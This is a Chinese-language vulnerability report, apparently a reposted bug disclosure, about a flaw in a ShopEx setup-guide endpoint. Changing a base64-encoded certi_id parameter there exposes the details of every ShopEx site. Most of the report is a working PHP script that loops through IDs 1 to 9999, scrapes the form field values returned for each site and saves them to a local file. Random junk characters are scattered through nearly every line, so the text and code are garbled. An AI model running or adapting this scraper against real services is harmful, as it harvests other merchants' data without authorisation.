|
|
简要描述:
' t9 c; C. @2 t: Z2 @# U2 JShopEx某接口缺陷,可遍历所有网站( Y1 E: P V4 T; \- h
详细说明:0 U$ p \ W) ^7 e' q
问题出现在shopex 网店使用向导页面
" F7 O' q3 c$ e- `
; v! L1 U' \0 u* b3 T
# F: T7 v2 Z. V# h
) J9 f5 [' E; ~6 |http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=1 f0 m" H0 O% P* T
. L. @# ~: v1 \7 X
( \" I( M7 a) `6 L" b( v5 p0 Z/ F( T( M; U
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}/ s8 @5 \8 L8 i0 s8 l6 `
( c( v+ r7 Z: ^; K* w/ t2 @' c/ F. R" _* i: p; u4 d9 h+ c8 t# ]
# R6 \+ W* X& P: |0 F* F我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
T8 C$ p" s! {6 T8 f% F! @ G n! _1 l
3 b% V# E5 O: B) G
% D7 K# _6 b9 f# V7 R5 D& `<?php4 `; a# i& Y" |4 ?
5 G$ I4 S0 q+ W( C
for ($i=1; $i < 10000; $i++) { //遍历
- A, `# z6 t2 h D$ b: m, ^
- J) r0 w4 }0 c8 A. d% b: y ShowshopExD($i);. i7 ~: H' t# z+ p
# g0 J( x0 N1 w& [6 x- i7 h1 ~
}, W3 }7 T; _% z3 S
# }. K. G% _5 S4 |6 g. [) O; t- B6 U function ShowshopExD($cid) {& x/ u& a9 m. \
9 w/ \& P) E- a1 b }
$url='http://guide.ecos.shopex.cn/step2.php';$ T5 J! Z! ~( X
/ q, \( x. U5 Z5 T1 B
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');+ a8 u; m6 j ^; d1 `% o7 o z
; `$ o2 r- I, P& x4 M
$url = $url.'?refer='.$refer;
, q% _$ T' y b% L* |: r. c, T4 U
5 ?$ ^! @7 b _, l0 s' p6 H $ch = curl_init($url);
; r8 i5 |8 k0 q3 W% j* I ^2 m/ c( T0 e8 m( T; b
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;! @$ z; t6 ^, A# ?/ Y) S
7 S. w( j1 m, d curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
( J; K9 m& I) G! f& }! T
& o* h! J9 g4 q $result = curl_exec($ch);
2 s/ c0 ^9 Z" e9 V6 ?% X! P/ w) d* a& M2 o4 H
$result = mb_convert_encoding($result, "gb2312", "UTF-8");: a4 `8 F# v/ _! y" @- M- j5 I! Z
+ c5 A/ Q& q0 q if(strpos($result,$refer))
1 `$ J; S1 t* J; E8 O! B, ^9 {6 b W6 _% u' \' [
{& i p- [; `- e7 c
% `/ t" t6 m$ u n p+ i% z $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
, j5 h/ y. [" q' x) y9 o& d) C3 P% L2 i& |2 y- W
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);1 s3 a1 y; W2 o+ Q
" \% h& W/ L/ H6 |" s1 \+ L8 v I foreach ($value[1] as $key) {
3 w! O' e& }. [3 b. s( z$ b/ \/ |' t3 @8 Y
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% I: t. L9 n" U* K$ s& s
2 i# W6 M; ^+ t+ N echo $res[1][0].':'.$res[3][0]."\r\n";
4 Q c4 y8 ~5 N, l* G8 t. d: B( H7 L: Z( |/ q0 ~8 |
$col =$res[1][0].':'.$res[3][0]."\r\n"; , I `! w7 m1 q
) H: Y, X0 a) y* b1 M6 R fwrite($fp, $col, strlen($col));
# y* w0 ^) }3 V0 \- S+ G9 |: f z& M9 X
}8 ^- i7 B: M( x7 I6 L2 u: K
$ R1 a3 [* [" q* |( e
echo '--------------------------------'."\r\n";
& N4 \. T3 j2 z" @* e5 R5 A$ g! z2 h( W+ p* {% a0 t
fclose($fp); 9 F: `6 G5 o. q$ b
4 }" k' d- s4 O- C
}
L* k/ Z, Z, v7 Y* b& v0 i, v! t$ S* {2 X. s' D0 I
flush();) w1 I: I, e" j( f0 t
/ l$ r. T+ o# m3 C7 e
curl_close($ch);0 E( }! l2 L+ X7 P
6 D$ H+ e3 Y, Y6 J
}
* T8 r; |2 q2 N9 x& a
1 @. z9 s+ `. k, G?>6 u- C( q( ?/ Z3 ~: t
漏洞证明:$ H: A- y$ p0 b4 Y6 P) N: Y4 D% c
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg3 X# v: { J8 T3 t* H) B
refer换成其他加密方式
{2 i2 W+ o# M+ E |
|